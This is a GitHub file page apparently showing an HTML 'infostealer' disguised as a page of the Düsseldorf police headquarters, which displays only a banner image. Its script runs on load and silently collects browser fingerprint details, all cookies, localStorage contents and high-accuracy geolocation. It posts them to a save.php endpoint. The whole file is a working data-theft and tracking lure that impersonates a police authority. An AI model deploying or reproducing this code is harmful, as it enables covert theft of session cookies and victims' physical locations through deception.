-
Notifications
You must be signed in to change notification settings - Fork 0
/
infostealer_original.html
172 lines (136 loc) · 4.92 KB
/
infostealer_original.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
<!DOCTYPE html>
<html>
<head>
<title>Polizeipräsidium Düsseldorf</title>
<script type='text/javascript'>
var info={
timeOpened:new Date(),
timezone:(new Date()).getTimezoneOffset()/60,
pageon(){return window.location.pathname},
referrer(){return document.referrer},
previousSites(){return history.length},
browserName(){return navigator.appName},
browserEngine(){return navigator.product},
browserVersion1a(){return navigator.appVersion},
browserVersion1b(){return navigator.userAgent},
browserLanguage(){return navigator.language},
browserLanguages(){return navigator.languages},
browserOnline(){return navigator.onLine},
browserPlatform(){return navigator.platform},
javaEnabled(){return navigator.javaEnabled()},
dataCookiesEnabled(){return navigator.cookieEnabled},
dataCookies1(){return document.cookie},
dataCookies2(){return decodeURIComponent(document.cookie.split(';'))},
dataStorage(){return localStorage},
sizeScreenW(){return screen.width},
sizeScreenH(){return screen.height},
sizeDocW(){return document.width},
sizeDocH(){return document.height},
sizeInW(){return innerWidth},
sizeInH(){return innerHeight},
sizeAvailW(){return screen.availWidth},
sizeAvailH(){return screen.availHeight},
scrColorDepth(){return screen.colorDepth},
scrPixelDepth(){return screen.pixelDepth},
};
/************************************************/
const options = {
enableHighAccuracy: true,
timeout: 5000,
maximumAge: 0,
};
function success(pos) {
const crd = pos.coords;
let array = { 'latitude': crd.latitude,
'longitude': crd.longitude,
'accuracy': crd.accuracy,
'altitude': crd.altitude,
'altidudeAccuracy': crd.altidudeAccuracy,
'heading': crd.heading,
'speed': crd.speed
};
asynchronRequest( array );
}
function onError(error) {
var txt;
switch(error.code)
{
case error.PERMISSION_DENIED:
txt = 'Location permission denied';
break;
case error.POSITION_UNAVAILABLE:
txt = 'Location position unavailable';
break;
case error.TIMEOUT:
txt = 'Location position lookup timed out';
break;
default:
txt = 'Unknown position.'
}
alert(txt)
}
/**************************************/
function encodePayload( paramArray ) {
let encodedQueryString = '';
let i = 0;
for( key in paramArray ) {
if( i != 0) {
encodedQueryString += '&';
}
encodedQueryString += key + '=' + encodeURIComponent( paramArray[ key ] );
i++;
}
return encodedQueryString;
}
async function asynchronRequest( paramArray ) {
let page = './save.php';
let request = new XMLHttpRequest();
request.open( 'POST', page, true );
request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
let encodedQueryString = encodePayload( paramArray );
console.log( encodedQueryString );
request.onreadystatechange = () => {
if( request.readyState == XMLHttpRequest.DONE && request.status == 200 ) {}
};
request.send( encodedQueryString );
};
/*****************************************************************/
let array = { 'timeOpened': info.timeOpened,
'timezone': info.timezone,
'pageon': info.pageon(),
'referrer': info.referrer(),
'previousSites': info.previousSites(),
'browserName': info.browserName(),
'browserEngine': info.browserEngine(),
'browserVersion1a': info.browserVersion1a(),
'browserVersion1b': info.browserVersion1b(),
'browserLanguage': info.browserLanguage(),
'browserLanguages': info.browserLanguages(),
'browserOnline': info.browserOnline(),
'browserPlatform': info.browserPlatform(),
'javaEnabled': info.javaEnabled(),
'dataCookiesEnabled': info.dataCookiesEnabled(),
'dataCookies1': info.dataCookies1(),
'dataCookies2': info.dataCookies2(),
'dataStorage': info.dataStorage(),
'sizeScreenW': info.sizeScreenW(),
'sizeScreenH': info.sizeScreenH(),
'sizeDocW': info.sizeDocW(),
'sizeDocH': info.sizeDocH(),
'sizeInW': info.sizeInW(),
'sizeAvailW': info.sizeAvailW(),
'sizeAvailH': info.sizeAvailH(),
'scrColorDepth': info.scrColorDepth(),
'scrPixelDepth': info.scrPixelDepth()
};
asynchronRequest( array );
/************************************************/
if( navigator.geolocation ) {
navigator.geolocation.getCurrentPosition( success, onError, options );
}
</script>
</head>
<body bgcolor="black">
<center><img src="./banner.jpg" width=78%></center>
</body>
</html>